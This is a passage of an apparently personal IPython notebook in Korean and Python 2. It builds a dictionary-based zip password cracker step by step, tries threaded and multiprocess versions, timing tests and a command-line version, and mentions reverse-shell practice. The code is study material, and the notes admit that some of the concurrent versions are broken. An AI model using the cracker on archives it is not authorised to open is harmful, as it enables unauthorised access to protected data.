      "- \uc798\ubabb\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub97c \uc785\ub825\ud558\uba74 \uc608\uc678\uac00 \ubc1c\uc0dd\ud55c\ub2e4\ub294 \uc810\uc744 \uc0ac\uc6a9\ud558\uc5ec \ub515\uc154\ub108\ub9ac \ud30c\uc77c\uc5d0 \uc788\ub294 \ud328\uc2a4\uc6cc\ub4dc\uac00 \uc555\ucd95 \ud30c\uc77c\uc758 \ud328\uc2a4\uc6cc\ub4dc\uc640 \uc77c\uce58\ud558\ub294\uc9c0 \ud655\uc778\n",
      "- ZipFile \ud074\ub798\uc2a4\ub97c \uc2e4\uccb4\ud654\ud55c \ud6c4\uc5d0 \ub515\uc154\ub108\ub9ac \ud30c\uc77c\uc744 \uc5f4\uc5b4\uc11c \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \ub2e8\uc5b4\ub97c \ud14c\uc2a4\ud2b8\n",
      "- \ub9cc\uc57d extractall() \ud568\uc218\uac00 \uc544\ubb34\ub7f0 \uc624\ub958\uc5c6\uc774 \uc2e4\ud589\ub418\uba74 \ud328\uc2a4\uc6cc\ub4dc\ub97c \ucc3e\uc558\ub2e4\ub294 \uba54\uc2dc\uc9c0 \ucd9c\ub825\n",
      "- \ud558\uc9c0\ub9cc extractall() \uc5d0\uc11c \uc608\uc678\uac00 \ubc1c\uc0dd\ud558\uba74 \uc608\uc678\ub97c \ubb34\uc2dc\ud558\uace0 \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \ub2e4\ub978 \ub2e8\uc5b4 \uc2dc\ub3c4"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### Reverse shell \uc2dc cmd \uba85\ub839\n",
      "\n",
      "- 'dir' \uba85\ub839\uc5b4\ub97c reverse shell\ub85c \ubcf4\ub0c8\ub294\ub370 \uacb0\uacfc\uac12\uc774 \uc624\uc9c0 \uc54a\uc744 \ub54c \ud669\ub2f9\ud568\uc774\ub780...(\ud615\uc11d\uc774)\n",
      "- \ub2f5\uc740 ..?"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/unzip3.py\n",
      "import zipfile\n",
      "zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "dictionary = 'ch01/dictionary.txt'\n",
      "passFile = open(dictionary)\n",
      "for line in passFile:\n",
      "    password = line.strip('\\n')\n",
      "    try:\n",
      "        zFile.extractall(pwd=password)\n",
      "        print '[+] Password = ' + password + '\\n'\n",
      "        exit(0)\n",
      "    except Exception, e:\n",
      "        # no operation\n",
      "        pass"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/unzip3.py\n"
       ]
      }
     ],
     "prompt_number": 204
    },
    {
     "cell_type": "code",
     "collapsed": true,
     "input": [
      "!python ch01/unzip3.py"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Password = secret\r\n",
        "\r\n"
       ]
      }
     ],
     "prompt_number": 205
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "#### Code Refactoring"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/unzip_module.py\n",
      "import zipfile\n",
      "\n",
      "def extractFile(zFile, password):\n",
      "    try:\n",
      "        zFile.extractall(pwd=password)\n",
      "        return password\n",
      "    except:\n",
      "        return\n",
      "    \n",
      "def main():\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    for line in passFile:\n",
      "        password = line.strip('\\n')\n",
      "        guess = extractFile(zFile, password)\n",
      "        if guess:\n",
      "            print '[+] Password = ' + password + '\\n'\n",
      "            exit(0)\n",
      "            \n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/unzip_module.py\n"
       ]
      }
     ],
     "prompt_number": 206
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/unzip_module.py"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Password = secret\r\n",
        "\r\n"
       ]
      }
     ],
     "prompt_number": 207
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "------"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/unzip_thread.py\n",
      "import zipfile\n",
      "from threading import Thread\n",
      "\n",
      "def extractFile(zFile, password):\n",
      "    try:\n",
      "        zFile.extractall(pwd=password)\n",
      "        print '[+] Password = ' + password + '\\n'\n",
      "    except:\n",
      "        pass\n",
      "    \n",
      "def main():\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    for line in passFile:\n",
      "        password = line.strip('\\n')\n",
      "        t = Thread(target=extractFile, args=(zFile, password))\n",
      "        t.start()\n",
      "        \n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/unzip_thread.py\n"
       ]
      }
     ],
     "prompt_number": 208
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/unzip_thread.py"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Password = secret\r\n",
        "\r\n"
       ]
      }
     ],
     "prompt_number": 209
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import zipfile\n",
      "from threading import Thread\n",
      "from multiprocessing import Process, Queue\n",
      "\n",
      "def extractFile(zFile, password):\n",
      "    try:\n",
      "        zFile.extractall(pwd=password)\n",
      "        print '[+] Password = ' + password + '\\n'\n",
      "    except:\n",
      "        pass\n",
      "    \n",
      "def main_original():\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    for line in passFile:\n",
      "        password = line.strip('\\n')\n",
      "        extractFile(zFile, password)\n",
      "    \n",
      "def main_thread():\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    for line in passFile:\n",
      "        password = line.strip('\\n')\n",
      "        t = Thread(target=extractFile, args=(zFile, password))\n",
      "        t.start()\n",
      "\n",
      "# Queue\ub97c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uc544 \ub611\uac19\uc740 \ubcc0\uc218\ub97c \ubc1b\uc544\uac00\uc11c \uc2e4\ud589\ud558\ub294 \uba4d\uccad\ud55c multiprocess\n",
      "def main_multi():\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    \n",
      "    for line in passFile:\n",
      "        password = line.strip('\\n')\n",
      "        result = Queue()\n",
      "        pr1 = Process(target=extractFile, args=(zFile, password))\n",
      "        pr2 = Process(target=extractFile, args=(zFile, password))\n",
      "        pr1.start()\n",
      "        pr2.start()\n",
      "        pr1.join()\n",
      "        pr2.join()\n",
      "\n",
      "def main_multi2():\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    \n",
      "    result = Queue()\n",
      "    for line in passFile:\n",
      "        result.put(line.strip('\\n'))\n",
      "    \n",
      "    pr1 = Process(target=extractFile, args=(zFile, result.get()))\n",
      "    pr2 = Process(target=extractFile, args=(zFile, result.get()))\n",
      "    pr1.start()\n",
      "    pr2.start()\n",
      "    pr1.join()\n",
      "    pr2.join()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 210
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "main_multi()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Password = secret\n",
        "[+] Password = secret\n",
        "\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 211
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "main_thread()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 212
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "#### Why? \n",
      "- main()\uc73c\ub85c \uc124\uc815\ud574\uc11c \ub3cc\ub9ac\uba74 \uacc4\uc18d kernel restart \ub41c\ub2e4.\n",
      "- \ubb50\uc9c0? \uc65c \uacc4\uc18d kernel restart\uac00 \ub418\ub0d0..\n",
      "- \ub108\ubb34 \ub9ce\uc740 \uc5f0\uc0b0\uc791\uc5c5\uc744 \ud574\uc11c?\n",
      "- \uc544... **exit(0)**\uc744 \ub123\uc5b4\uc918\uc11c \uadf8\ub807\uad6c\ub098\n",
      "- exit(0)\uc740 console\uc5d0\uc11c \uc801\uc6a9.. \ub300\uc2e0 break \ub123\uc5c8\ub2e4.\n",
      "\n",
      "\n",
      "#### original vs thread vs multi\n",
      "\n",
      "- \uc9c0\uae08 \uc774\uc0c1\ud558\uac8c original \uc774 \uc81c\uc77c \ube60\ub974\ub2e4.\n",
      "- \uc774\uac74 \ubb54\uac00 \uc18c\uc2a4\ucf54\ub4dc\uac00 \uc798\ubabb\ub410\ub2e4\ub294 \uac78\ub85c \uc0dd\uac01\ub418\ub294\ub370\n",
      "\n",
      "#### \ud615\uc11d\uc774 \uc870\uc5b8\n",
      "\n",
      "- Queue\ub97c \ub9cc\ub4e4\uc5b4\uc11c \ud55c \ubc88 \uaebc\ub0b8 \uac83\uc740 \ub2e4\uc2dc \ucc38\uc870\ud558\uc9c0 \ubabb\ud558\uac8c \ud574\ub77c.\n",
      "\n",
      "-----"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# %timeit main_multi()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 213
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%timeit main_multi2()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Password = secret\n",
        "\n"
       ]
      },
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "100 loops, best of 3: 17.4 ms per loop\n"
       ]
      }
     ],
     "prompt_number": 214
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "#### [\ud558\uc6a9\ud638\ub2d8 2011 H3 \ucee8\ud37c\ub7f0\uc2a4 - \ud30c\uc774\uc36c\uc73c\ub85c \ud074\ub77c\uc6b0\ub4dc \ud558\uace0 \uc2f6\uc5b4\uc694. \ud14c\uc2a4\ud2b8 \uc608\uc81c](http://www.slideshare.net/yongho/2011-h3)"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/1thread.py\n",
      "from threading import Thread\n",
      "\n",
      "def do_work(start, end, result):\n",
      "    sum = 0\n",
      "    for i in range(start, end):\n",
      "        sum += i\n",
      "    result.append(sum)\n",
      "    return\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    START, END = 0, 20000000\n",
      "    result = list()\n",
      "    th1 = Thread(target=do_work, args=(START, END, result))\n",
      "    th1.start()\n",
      "    th1.join()\n",
      "print 'Result : ', sum(result)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/1thread.py\n"
       ]
      }
     ],
     "prompt_number": 215
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!time python ch01/1thread.py"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Result :  199999990000000\r\n"
       ]
      },
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "\r\n",
        "real\t0m2.009s\r\n",
        "user\t0m1.659s\r\n",
        "sys\t0m0.339s\r\n"
       ]
      }
     ],
     "prompt_number": 216
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/2thread.py\n",
      "from threading import Thread\n",
      "\n",
      "def do_work(start, end, result):\n",
      "    sum = 0\n",
      "    for i in range(start, end):\n",
      "        sum += i\n",
      "    result.append(sum)\n",
      "    return\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    START, END = 0, 20000000\n",
      "    result = list()\n",
      "    th1 = Thread(target=do_work, args=(START, END, result))\n",
      "    th2 = Thread(target=do_work, args=(START, END, result))\n",
      "    th1.start()\n",
      "    th2.start()\n",
      "    th1.join()\n",
      "    th2.join()\n",
      "print 'Result : ', sum(result)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/2thread.py\n"
       ]
      }
     ],
     "prompt_number": 217
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!time python ch01/2thread.py"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Result :  399999980000000\r\n"
       ]
      },
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "\r\n",
        "real\t0m5.159s\r\n",
        "user\t0m3.810s\r\n",
        "sys\t0m2.485s\r\n"
       ]
      }
     ],
     "prompt_number": 218
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/2process.py\n",
      "from multiprocessing import Process, Queue\n",
      "\n",
      "def do_work(start, end, result):\n",
      "    sum = 0\n",
      "    for i in range(start, end):\n",
      "        sum += i\n",
      "    result.put(sum)\n",
      "    return\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    START, END = 0, 20000000\n",
      "    result = Queue()\n",
      "    pr1 = Process(target=do_work, args=(START, END/2, result))\n",
      "    pr2 = Process(target=do_work, args=(END/2, END, result))\n",
      "    pr1.start()\n",
      "    pr2.start()\n",
      "    pr1.join()\n",
      "    pr2.join()\n",
      "    result.put('STOP')\n",
      "    sum = 0\n",
      "    while True:\n",
      "        tmp = result.get()\n",
      "        if tmp == 'STOP':\n",
      "            break\n",
      "        else:\n",
      "            sum += tmp\n",
      "print 'Result : ', sum"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/2process.py\n"
       ]
      }
     ],
     "prompt_number": 219
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!time python 2process.py"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "/Users/re4lfl0w/Library/Enthought/Canopy_64bit/User/Resources/Python.app/Contents/MacOS/Python: can't open file '2process.py': [Errno 2] No such file or directory\r\n",
        "\r\n",
        "real\t0m0.025s\r\n",
        "user\t0m0.012s\r\n",
        "sys\t0m0.009s\r\n"
       ]
      }
     ],
     "prompt_number": 220
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "- \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc218\uc815\ud558\uc5ec \ud06c\ub799\ud560 \uc555\ucd95 \ud30c\uc77c\uc758 \uc774\ub984\uacfc \ud06c\ub799\uc5d0 \uc0ac\uc6a9\ud560 \ub515\uc154\ub108\ub9ac \ud30c\uc77c\uc758 \uc774\ub984\uc744 \uc0ac\uc6a9\uc790\uac00 \uc9c1\uc811 \uc815\uc758 \uac00\ub2a5\n",
      "- optparse \ub77c\uc774\ube0c\ub7ec\ub9ac \ud65c\uc6a9\n",
      "- \ud50c\ub798\uadf8\ub97c \uad6c\ubb38 \ubd84\uc11d\ud558\uace0 \uc2a4\ud06c\ub9bd\ud2b8 \ub4a4\uc5d0 \uc624\ub294 \uc120\ud0dd\uc801 \ud30c\ub77c\ubbf8\ud130\ub97c \ucc98\ub9ac\ud55c\ub2e4\ub294 \uac83\ub9cc \uc54c\uace0 \uc788\uc73c\uba74 \ub428\n",
      "- \uc6b0\ub9ac\uc758 \uc555\ucd95 \ud30c\uc77c \ud06c\ub798\ud0b9 \uc2a4\ud06c\ub9bd\ud2b8\uc5d0\ub294 2\uac1c\uc758 \ud544\uc218 \ud50c\ub798\uadf8\ub97c \ucd94\uac00\ud560 \uac83\n",
      "- \uc555\ucd95 \ud30c\uc77c \uc774\ub984, \ub515\uc154\ub108\ub9ac \ud30c\uc77c \uc774\ub984\n",
      "\n",
      "#### \ud604\uc7ac \uc704\uc5d0 \uc801\uc5b4\ub193\uc740 thread, process\uac00 \uc81c\ub300\ub85c \ub3d9\uc791\ud558\uc9c0 \uc54a\uc74c\n",
      "\n",
      "- \uc774 \ubd80\ubd84\uc740 \uc880 \ub354 \uacf5\ubd80\ud574 \ubd10\uc57c \ud568\n",
      "\n",
      "-----"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/zipcrack.py\n",
      "import zipfile\n",
      "import optparse\n",
      "from threading import Thread\n",
      "from multiprocessing import Process, Queue\n",
      "\n",
      "def extractFile(zFile, password):\n",
      "    try:\n",
      "        zFile.extractall(pwd=password)\n",
      "        print '[+] Found password ' + password + '\\n'\n",
      "    except:\n",
      "        pass\n",
      "    \n",
      "def main():\n",
      "    parser = optparse.OptionParser('usage%prog ' + \\\n",
      "                                   '-f <zipfile> \\\n",
      "                                   -d <dictionary>')\n",
      "\n",
      "    parser.add_option('-f', dest='zname', type='string', \\\n",
      "                      help='specify zip file')\n",
      "    parser.add_option('-d', dest='dname', type='string', \\\n",
      "                      help='specify dictionary file')\n",
      "\n",
      "    (options, args) = parser.parse_args()\n",
      "\n",
      "    if(options.zname == None) | (options.dname == None):\n",
      "        print parser.usage\n",
      "        exit(0)\n",
      "    else:\n",
      "        zname = options.zname\n",
      "        dname = options.dname\n",
      "    \n",
      "    zFile = zipfile.ZipFile(zname)\n",
      "    passFile = open(dname)\n",
      "    \n",
      "    passQueue = Queue()\n",
      "    \n",
      "    for line in passFile:\n",
      "        passQueue.put(line.strip('\\n'))\n",
      "        \n",
      "    pr1 = Process(target=extractFile, args=(zFile, passQueue.get()))\n",
      "    pr2 = Process(target=extractFile, args=(zFile, passQueue.get()))\n",
      "    pr1.start()\n",
      "    pr2.start()\n",
      "    pr1.join()\n",
      "    pr2.join()\n",
      "    \n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/zipcrack.py\n"
       ]
      }
     ],
     "prompt_number": 1
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/zipcrack.py -f ch01/evil.zip -d ch01/dictionary.txt"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 222
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "def extractFile(zFile, password):\n",
      "    try:\n",
      "        zFile.extractall(pwd=password)\n",
      "        print '[+] Password = ' + password + '\\n'\n",
      "    except:\n",
      "        pass"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 223
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "def main_original():\n",
      "    import zipfile\n",
      "    zFile = zipfile.ZipFile('ch01/evil.zip')\n",
      "    passFile = open('ch01/dictionary.txt')\n",
      "    for line in passFile:\n",
      "        password = line.strip('\\n')\n",
      "        extractFile(zFile, password)"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [],
     "prompt_number": 224
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "main_original()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Password = secret\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 225
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "<img src=\"files/images/I_can_do_it.jpg\" />\n",
      "<img src=\"files/images/I_can_do_it2.jpg\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "## [About my IPython in github](https://github.com/re4lfl0w/ipython)"
     ]
    }
   ],
   "metadata": {}
  }
 ]
}